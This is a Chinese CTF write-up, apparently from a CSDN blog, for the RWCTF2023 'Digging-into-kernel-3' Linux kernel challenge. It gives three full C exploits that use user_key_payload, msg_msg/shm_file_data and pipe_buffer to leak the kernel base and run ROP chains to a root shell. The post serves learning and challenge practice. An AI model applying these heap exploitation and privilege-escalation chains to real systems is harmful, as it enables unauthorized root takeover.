• 【user_key_payload、msg_msg、pipe_buffer】再探RWCTF2023-Digging-into-kernel-3

    前言

    在之前的文章中，我利用 ldt_struct 去泄漏的内核基地址，但是在内核中还存在着一些结构体可以去泄漏内核基地址。

    user_key_payload 越界读泄漏内核基地址

    本题并没有开启 slab_freelist_random 保护，并且可以可以同时控制两个堆块，所以可以直接打。

    这里采用 user_key_payload 越界读被释放的 user_key_payload 去泄漏内核基地址。当然你也可以选择读其他的，但是这题好像不能打开 /dev/ptmx，然后我看又有这个文件，权限也有，但是不知道为啥就是打不开。

    exp 如下：

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4.  
    5. #include 
    6. #include 
    7. #include 
    8. #include 
    9. #include 
    10. #include 
    11. #include 
    12. #include 
    13. #include 
    14. #include 
    15. #include 
    16. #include 
    17. #include 
    18. #include 
    19. #include 
    20. #include 
    21. #include 
    22. #include 
    23. #include 
    24. #include 
    25. #include 
    26. #include 
    27. #include 
    28. #include 
    29.  
    30. #define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
    31. size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
    32. size_t init_cred = 0xffffffff82850580;
    33. size_t commit_creds = 0xffffffff81095c30;
    34. size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
    35. size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;
    36.  
    37. struct node {
    38.         int idx;
    39.         int size;
    40.         char* ptr;
    41. };
    42.  
    43. void err_exit(char *msg)
    44. {
    45.     printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    46.     sleep(5);
    47.     exit(EXIT_FAILURE);
    48. }
    49.  
    50. void info(char *msg)
    51. {
    52.     printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    53. }
    54.  
    55. void hexx(char *msg, size_t value)
    56. {
    57.     printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    58. }
    59.  
    60. void binary_dump(char *desc, void *addr, int len) {
    61.     uint64_t *buf64 = (uint64_t *) addr;
    62.     uint8_t *buf8 = (uint8_t *) addr;
    63.     if (desc != NULL) {
    64.         printf("\033[33m[*] %s:\n\033[0m", desc);
    65.     }
    66.     for (int i = 0; i < len / 8; i += 4) {
    67.         printf("  %04x", i * 8);
    68.         for (int j = 0; j < 4; j++) {
    69.             i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
    70.         }
    71.         printf("   ");
    72.         for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    73.             printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    74.         }
    75.         puts("");
    76.     }
    77. }
    78.  
    79. /* bind the process to specific core */
    80. void bind_core(int core)
    81. {
    82.     cpu_set_t cpu_set;
    83.  
    84.     CPU_ZERO(&cpu_set);
    85.     CPU_SET(core, &cpu_set);
    86.     sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    87.  
    88.     printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    89. }
    90.  
    91. int rw_fd;
    92. int seq_fd;
    93. void add(int idx, int size, char* ptr)
    94. {
    95.         struct node n = { .idx = idx, .size = size, .ptr = ptr };
    96.         ioctl(rw_fd, 0xDEADBEEF, &n);
    97. //      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
    98. }
    99.  
    100. void dele(int idx)
    101. {
    102.         struct node n = { .idx = idx };
    103.         ioctl(rw_fd, 0xC0DECAFE, &n);
    104. }
    105.  
    106. int key_alloc(char *description, char *payload, size_t plen)
    107. {
    108.     return syscall(__NR_add_key, "user", description, payload, plen,
    109.                    KEY_SPEC_PROCESS_KEYRING);
    110. }
    111.  
    112. int key_read(int keyid, char *buffer, size_t buflen)
    113. {
    114.     return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
    115. }
    116.  
    117. int key_revoke(int keyid)
    118. {
    119.     return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
    120. }
    121.  
    122. int main(int argc, char** argv, char** env)
    123. {
    124.         bind_core(0);
    125.         int res;
    126.         size_t kernel_offset;
    127.         size_t buf[0x100] = { 0 };
    128.  
    129.         rw_fd = open("/dev/rwctf", O_RDWR);
    130.         if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
    131.  
    132.         // freelist 0x40 : obj0 -> obj1 -> obj2
    133.         add(0, 0x40, buf); // obj0
    134.         add(1, 0x40, buf); // obj1
    135.         // freelist 0x40 : obj2
    136.         dele(1);
    137.         dele(0);
    138.  
    139.         // freelist 0x40 : obj0 -> obj1 -> obj2
    140.         int k0 = key_alloc("pwner0", buf, 0x40-0x18); // user_key_payload0 : obj1
    141.         int k1 = key_alloc("pwner1", buf, 0x40-0x18); // user_key_payload1 : obj2
    142.  
    143.         // freelist 0x40 : obj0
    144.         key_revoke(k1);
    145.         // freelist 0x40 : obj2 -> obj0
    146.         dele(1);
    147.         // freelist 0x40 : obj1 -> obj2 -> obj0
    148.         buf[0] = buf[1] = 0;
    149.         buf[2] = 0x100*8;
    150.         add(1, 0x40 , buf);
    151.         // freelist 0x40 : obj2 -> obj0
    152.         res = key_read(k0, buf, 0x100*8);
    153.         kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
    154.         binary_dump("user_key_payload data", buf, 0x100);
    155.         hexx("kernel_offset", kernel_offset);
    156.  
    157.         puts("Hijack the Program Execution Flow");
    158.         pop_rdi += kernel_offset;
    159.         init_cred += kernel_offset;
    160.         commit_creds += kernel_offset;
    161.         swapgs_kpti += kernel_offset;
    162.         add_rsp_xx += kernel_offset;
    163.         hexx("add_rsp_xx", add_rsp_xx);
    164.  
    165.         add(0, 0x20, buf);
    166.         dele(0);
    167.  
    168.         seq_fd = open("/proc/self/stat", O_RDONLY);
    169.         dele(0);
    170.         add(0, 0x20, &add_rsp_xx);
    171.  
    172.         asm(
    173.         "mov r15, pop_rdi;"
    174.         "mov r14, init_cred;"
    175.         "mov r13, commit_creds;"
    176.         "mov r12, swapgs_kpti;"
    177.         );
    178.         read(seq_fd, buf, 8);
    179.         hexx("UID", getuid());
    180.         system("/bin/sh");
    181.  
    182.         return 0;
    183. }

    msg_msg+shm_file_data 泄漏内核基地址

    这里最开始我也是想利用 msg_msg 去泄漏内核基地址的，但是我一直在考虑越界读，而忽略了这里我们是有一个任意大小的 UAF，所以我们可以劫持一个大小为 0x20 的 msg_segment，然后将其分配到 shm_file_data，这样就可以直接读取 init_ipc_ns 了。

    这里为什么是 shm_file_data 呢？因为 msg_segment 的第一个字段是 next，而在进行 msgrcv 时，终止读取的条件就是 msg_segment->next 为空，而 shm_file_data 刚好满足这个条件。

    这里我也尝试分配到 seq_operations 结构体，但是其第一个字段为 single_start 不为 NULL，导致后面直接 panic。

    补个东西：在其他su战队的wp上看到的 特别要注意，由于内核关闭了CONFIG_CHECKPOINT_RESTORE，MSG_COPY无法使用 并且由于SElinux的开启，struct msg的security指针不能被破坏
    所以之前我越界读失败了，但是他并没有说是如何看出来内核关闭了CONFIG_CHECKPOINT_RESTORE

    exp 如下：

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4.  
    5. #include 
    6. #include 
    7. #include 
    8. #include 
    9. #include 
    10. #include 
    11. #include 
    12. #include 
    13. #include 
    14. #include 
    15. #include 
    16. #include 
    17. #include 
    18. #include 
    19. #include 
    20. #include 
    21. #include 
    22. #include 
    23. #include 
    24. #include 
    25. #include 
    26.  
    27. #define INIT_IPC_NS 0xffffffff829ac6c0
    28. size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
    29. size_t init_cred = 0xffffffff82850580;
    30. size_t commit_creds = 0xffffffff81095c30;
    31. size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
    32. size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;
    33.  
    34. struct node {
    35.         int idx;
    36.         int size;
    37.         char* ptr;
    38. };
    39.  
    40. void err_exit(char *msg)
    41. {
    42.     printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    43.     sleep(5);
    44.     exit(EXIT_FAILURE);
    45. }
    46.  
    47. void info(char *msg)
    48. {
    49.     printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    50. }
    51.  
    52. void hexx(char *msg, size_t value)
    53. {
    54.     printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    55. }
    56.  
    57. void binary_dump(char *desc, void *addr, int len) {
    58.     uint64_t *buf64 = (uint64_t *) addr;
    59.     uint8_t *buf8 = (uint8_t *) addr;
    60.     if (desc != NULL) {
    61.         printf("\033[33m[*] %s:\n\033[0m", desc);
    62.     }
    63.     for (int i = 0; i < len / 8; i += 4) {
    64.         printf("  %04x", i * 8);
    65.         for (int j = 0; j < 4; j++) {
    66.             i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
    67.         }
    68.         printf("   ");
    69.         for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    70.             printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    71.         }
    72.         puts("");
    73.     }
    74. }
    75.  
    76. /* bind the process to specific core */
    77. void bind_core(int core)
    78. {
    79.     cpu_set_t cpu_set;
    80.  
    81.     CPU_ZERO(&cpu_set);
    82.     CPU_SET(core, &cpu_set);
    83.     sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    84.  
    85.     printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    86. }
    87.  
    88. int rw_fd;
    89. int seq_fd;
    90. void add(int idx, int size, char* ptr)
    91. {
    92.         struct node n = { .idx = idx, .size = size, .ptr = ptr };
    93.         ioctl(rw_fd, 0xDEADBEEF, &n);
    94. //      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
    95. }
    96.  
    97. void dele(int idx)
    98. {
    99.         struct node n = { .idx = idx };
    100.         ioctl(rw_fd, 0xC0DECAFE, &n);
    101. }
    102.  
    103. struct msg_buf {
    104.         long m_type;
    105.         char m_text[1];
    106. };
    107.  
    108. struct msg_header {
    109.         void* l_next;
    110.         void* l_prev;
    111.         long m_type;
    112.         size_t m_ts;
    113.         void* next;
    114.         void* security;
    115. };
    116.  
    117. int main(int argc, char** argv, char** env)
    118. {
    119.         bind_core(0);
    120.         int qid;
    121.         int shm_id;
    122.         char* shm_addr;
    123.         size_t kernel_offset;
    124.         size_t buf[0x620] = { 0 };
    125.         struct msg_buf* msg = (struct msg_buf*)buf;
    126.  
    127.         rw_fd = open("/dev/rwctf", O_RDWR);
    128.         if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
    129.  
    130.         add(0, 0x20, buf);
    131.         dele(0);
    132.  
    133.         qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
    134.         msg->m_type = 1;
    135.         memset(msg->m_text, 'A', 0x1020);
    136.         msgsnd(qid, msg, 0x1020-0x30-0x8, 0);
    137.  
    138.         dele(0);
    139.         if ((shm_id = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) err_exit("shmget");
    140.         if ((shm_addr = shmat(shm_id, NULL, 0)) == -1) err_exit("shmat");
    141.  
    142.         msgrcv(qid, buf, 0x1020-0x30-8, 0, IPC_NOWAIT|MSG_NOERROR);
    143.  
    144.         binary_dump("msg data", (char*)buf+0xfd0, 0x100);
    145.         kernel_offset = *(size_t*)((char*)buf+0xfd8) - INIT_IPC_NS;
    146.         hexx("kernel_offset", kernel_offset);
    147.  
    148.         puts("Hijack the Program Execution Flow");
    149.         pop_rdi += kernel_offset;
    150.         init_cred += kernel_offset;
    151.         commit_creds += kernel_offset;
    152.         swapgs_kpti += kernel_offset;
    153.         add_rsp_xx += kernel_offset;
    154.         hexx("add_rsp_xx", add_rsp_xx);
    155.  
    156.         add(0, 0x20, buf);
    157.         dele(0);
    158.  
    159.         seq_fd = open("/proc/self/stat", O_RDONLY);
    160.         dele(0);
    161.         add(0, 0x20, &add_rsp_xx);
    162.  
    163.         asm(
    164.         "mov r15, pop_rdi;"
    165.         "mov r14, init_cred;"
    166.         "mov r13, commit_creds;"
    167.         "mov r12, swapgs_kpti;"
    168.         );
    169.         read(seq_fd, buf, 8);
    170.         hexx("UID", getuid());
    171.         system("/bin/sh");
    172.  
    173.         return 0;
    174. }

    pipe_buffer 劫持程序执行流

    这里是参考 ctf-wiki 上的做法，并且假设开启了一些保护，比如 SLAB_FREELIST_HARDENED，CONFIG_RANDOMIZE_KSTACK_OFFSET。

    这时也是采用 user_key_payload 越界读去泄漏内核基地址。但是我发现虽然 ctf-wiki 上前面是利用的堆喷搞的，但是最后劫持 pipe_buffer 时还是假设的没开相应的保护，所以直接单纯的利用堆喷去拿到 UAF 堆块给 user_key_payload 结构体。

    然后的关键点就是，通过 pipe_buffer 劫持程序执行流其实就是伪造其 pipe_buf_operations 函数表，但是题目开启了 smap 保护，所以我们又不能直接将函数表伪造在用户空间，那么我们伪造在那里呢？

    所以这里我们需要一个内核空间，要求这块空间可控并且知道其地址。这里我们选择 pipe_buffer。我们可以通过让 pipe_inode_info 与 user_key_payload 占用同一个堆块去泄漏 pipe_buffer 的地址，这里要注意的是 pipe_inode_info 会将 user_key_payload 的 datalen 字段覆盖为 0xffff。

    当然这里你也可以用 user_key_payload 越界读去泄漏 pipe_buffer 的地址，只是这里可能需要堆喷一下 pipe_buffer，但是可能会比较难，因为我们还有控制 pipe_buffer，所以这里命中的机会可能不是很高。

    这里我用堆喷 user_key_payload 去泄漏内核基地址，发现非常不稳定，但是 ctf-wiki 上的脚本是稳定的。所以这里我就不堆喷了......

     这里我们选择劫持 pipe_buf_operations->release，当我们关闭管道两端时就会调用这个函数。

    1. struct pipe_buf_operations {
    2. 	
    3. 	int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
    4.  
    5. 	
    6. 	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
    7.  
    8. 	bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
    9.  
    10. 	bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
    11. };

    可以看到执行 release 时，rdi 指向的是 pipe_inode_info，rsi 指向的时 pipe_buffer，这里我们选择将内核栈迁移到 pipe_buffer 上，之所以不迁移到 pipe_inode_info 中是因为其里面保存这 pipe_buffer 指针，且其大小只有 192，所以你写的时候会覆盖 pipe_buffer 指针。

    然后这里的 gadget 给我一顿好好，最后直接用 ctf-wiki 上面的，实在没找到......

    最后这里直接调用 system("/bin/sh") 会出现段错误，没探究原因，大家可以自己调试一些。我直接使用的 execve 函数去启一个 shell。

    exp 如下：

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4.  
    5. #include 
    6. #include 
    7. #include 
    8. #include 
    9. #include 
    10. #include 
    11. #include 
    12. #include 
    13. #include 
    14. #include 
    15. #include 
    16. #include 
    17. #include 
    18. #include 
    19. #include 
    20. #include 
    21. #include 
    22. #include 
    23. #include 
    24. #include 
    25. #include 
    26. #include 
    27. #include 
    28. #include 
    29.  
    30. #define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
    31. size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
    32. size_t init_cred = 0xffffffff82850580;
    33. size_t commit_creds = 0xffffffff81095c30;
    34. size_t swapgs_kpti = 0xFFFFFFFF81E00F01;
    35. size_t push_rsi_pop_rsp_pop_3 = 0xffffffff81250c9d; // PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET
    36.  
    37. struct node {
    38.         int idx;
    39.         int size;
    40.         char* ptr;
    41. };
    42.  
    43. void err_exit(char *msg)
    44. {
    45.     printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    46.     sleep(5);
    47.     exit(EXIT_FAILURE);
    48. }
    49.  
    50. void info(char *msg)
    51. {
    52.     printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    53. }
    54.  
    55. void hexx(char *msg, size_t value)
    56. {
    57.     printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    58. }
    59.  
    60. void binary_dump(char *desc, void *addr, int len) {
    61.     uint64_t *buf64 = (uint64_t *) addr;
    62.     uint8_t *buf8 = (uint8_t *) addr;
    63.     if (desc != NULL) {
    64.         printf("\033[33m[*] %s:\n\033[0m", desc);
    65.     }
    66.     for (int i = 0; i < len / 8; i += 4) {
    67.         printf("  %04x", i * 8);
    68.         for (int j = 0; j < 4; j++) {
    69.             i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
    70.         }
    71.         printf("   ");
    72.         for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    73.             printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    74.         }
    75.         puts("");
    76.     }
    77. }
    78.  
    79. /* bind the process to specific core */
    80. void bind_core(int core)
    81. {
    82.     cpu_set_t cpu_set;
    83.  
    84.     CPU_ZERO(&cpu_set);
    85.     CPU_SET(core, &cpu_set);
    86.     sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    87.  
    88.     printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    89. }
    90.  
    91.  
    92. void get_root_shell()
    93. {
    94.         hexx("UID", getuid());
    95. //      system("/bin/sh");
    96.         char *args[] = {"/bin/sh", NULL};
    97.         execve("/bin/sh", args, NULL);
    98. }
    99.  
    100. size_t user_cs, user_rflags, user_rsp, user_ss;
    101. void save_status()
    102. {
    103.         asm(
    104.         "mov user_cs, cs;"
    105.         "mov user_ss, ss;"
    106.         "mov user_rsp, rsp;"
    107.         "pushf;"
    108.         "pop user_rflags;"
    109.         );
    110.         info("Status saved successfully");
    111. }
    112.  
    113. int rw_fd;
    114. int seq_fd;
    115. void add(int idx, int size, char* ptr)
    116. {
    117.         struct node n = { .idx = idx, .size = size, .ptr = ptr };
    118.         ioctl(rw_fd, 0xDEADBEEF, &n);
    119. //      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
    120. }
    121.  
    122. void dele(int idx)
    123. {
    124.         struct node n = { .idx = idx };
    125.         ioctl(rw_fd, 0xC0DECAFE, &n);
    126. }
    127.  
    128. int key_alloc(char *description, char *payload, size_t plen)
    129. {
    130.     return syscall(__NR_add_key, "user", description, payload, plen,
    131.                    KEY_SPEC_PROCESS_KEYRING);
    132. }
    133.  
    134. int key_read(int keyid, char *buffer, size_t buflen)
    135. {
    136.     return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
    137. }
    138.  
    139. int key_revoke(int keyid)
    140. {
    141.     return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
    142. }
    143.  
    144. int main(int argc, char** argv, char** env)
    145. {
    146.         bind_core(0);
    147.         save_status();
    148.  
    149.         int key[2];
    150.         int pipe_key;
    151.         int pipe_fd[2];
    152.         char des[100];
    153.         size_t n;
    154.         size_t kernel_offset;
    155.         size_t pipe_buffer;
    156.         size_t* buf;
    157.  
    158.         rw_fd = open("/dev/rwctf", O_RDWR);
    159.         if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
    160.         buf = (size_t*)mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    161.  
    162.         add(0, 0x40, buf);
    163.         add(1, 0x40, buf);
    164.         dele(1);
    165.         dele(0);
    166.  
    167.         key[0] = key_alloc("pwn0", buf, 0x40-0x18);
    168.         key[1] = key_alloc("pwn1", buf, 0x40-0x18);
    169.  
    170.         dele(1);
    171.         buf[0] = buf[1] = 0;
    172.         buf[2] = 0x100*8;
    173.         add(1, 0x40, buf);
    174.  
    175.         key_revoke(key[1]);
    176.         key_read(key[0], buf, 0x100*8);
    177.         binary_dump("user_key_payload", buf, 0x100);
    178.         kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
    179.         hexx("kernel_offset", kernel_offset);
    180.  
    181.         add(0, 192, buf);
    182.         add(1, 192, buf);
    183.         dele(1);
    184.         dele(0);
    185.  
    186.         pipe_key = key_alloc("pwnerer", buf, 192-0x18);
    187.         if (pipe_key < 0) err_exit("key_alloc pipe_key");
    188.  
    189.         add(0, 1024, buf);
    190.         dele(0);
    191.         dele(1);
    192.  
    193.         pipe(pipe_fd);
    194.  
    195.         n = key_read(pipe_key, buf, 0xffff);
    196.         hexx("key_read len", n);
    197.         binary_dump("pipe_inode_info", buf, 192-0x18);
    198.         pipe_buffer = buf[16];
    199.         hexx("pipe_buffer addr", pipe_buffer);
    200.  
    201.         size_t rop[] = {
    202.                 0,
    203.                 0,
    204.                 pipe_buffer+0x18,
    205.                 pop_rdi+kernel_offset,
    206.                 push_rsi_pop_rsp_pop_3+kernel_offset,
    207.                 pop_rdi+kernel_offset,
    208.                 init_cred+kernel_offset,
    209.                 commit_creds+kernel_offset,
    210.                 swapgs_kpti+kernel_offset,
    211.                 0,
    212.                 0,
    213.                 get_root_shell,
    214.                 user_cs,
    215.                 user_rflags,
    216.                 user_rsp,
    217.                 user_ss
    218.         };
    219.         binary_dump("ROP chain", rop, sizeof(rop));
    220.         memcpy(buf, rop, sizeof(rop));
    221.         dele(0);
    222.         add(0, 1024, buf);
    223.  
    224.         close(pipe_fd[1]);
    225.         close(pipe_fd[0]);
    226.  
    227.         return 0;
    228. }

    效果如下，三个脚本均可成功提权：

    总结

    其实 ldt_struct、user_key_payload、msg_msg 是比较常用的实现越界读和任意读的结构体，其中 ldt_struct 大小固定（0x10 slub/0x20 slab），而 user_key_payload 与 msg_msg 的大小是不固定的，但是有固定的头字段。

    然后劫持程序执行流主要就是 seq_operations、tty_struct、pipe_buffer等结构体，目前我就主要接触到这三个。

    然后用于泄漏内核基地址的结构体主要有 shm_file_data、user_key_payload、seq_operations、tty_struct 等等结构体，目前主要接触到这些。其中 user_key_payload 是得将 key 销毁后，其 rcu.func 会被赋值为 user_free_payload_rcu() 以此来进行泄漏。

  • 相关阅读:
    定时器相关方法
    java面试题：java中的单例设计模式及两种实现方法的代码举例
    evnoy协议转换关键日志
    【ubuntu】开机后ROS程序自启动
    tensorflow2.x --------------------DenseNet-----------------------------
    IT入门知识大纲（0/10）
    ​ yarn通过日志聚合将作业日志存储在HDFS中
    Facebook广告账户被封？最全防封及申诉指南
    作业 day6
    ES6中的Promise基础讲解
  • 原文地址：https://blog.csdn.net/qq_61670993/article/details/133580347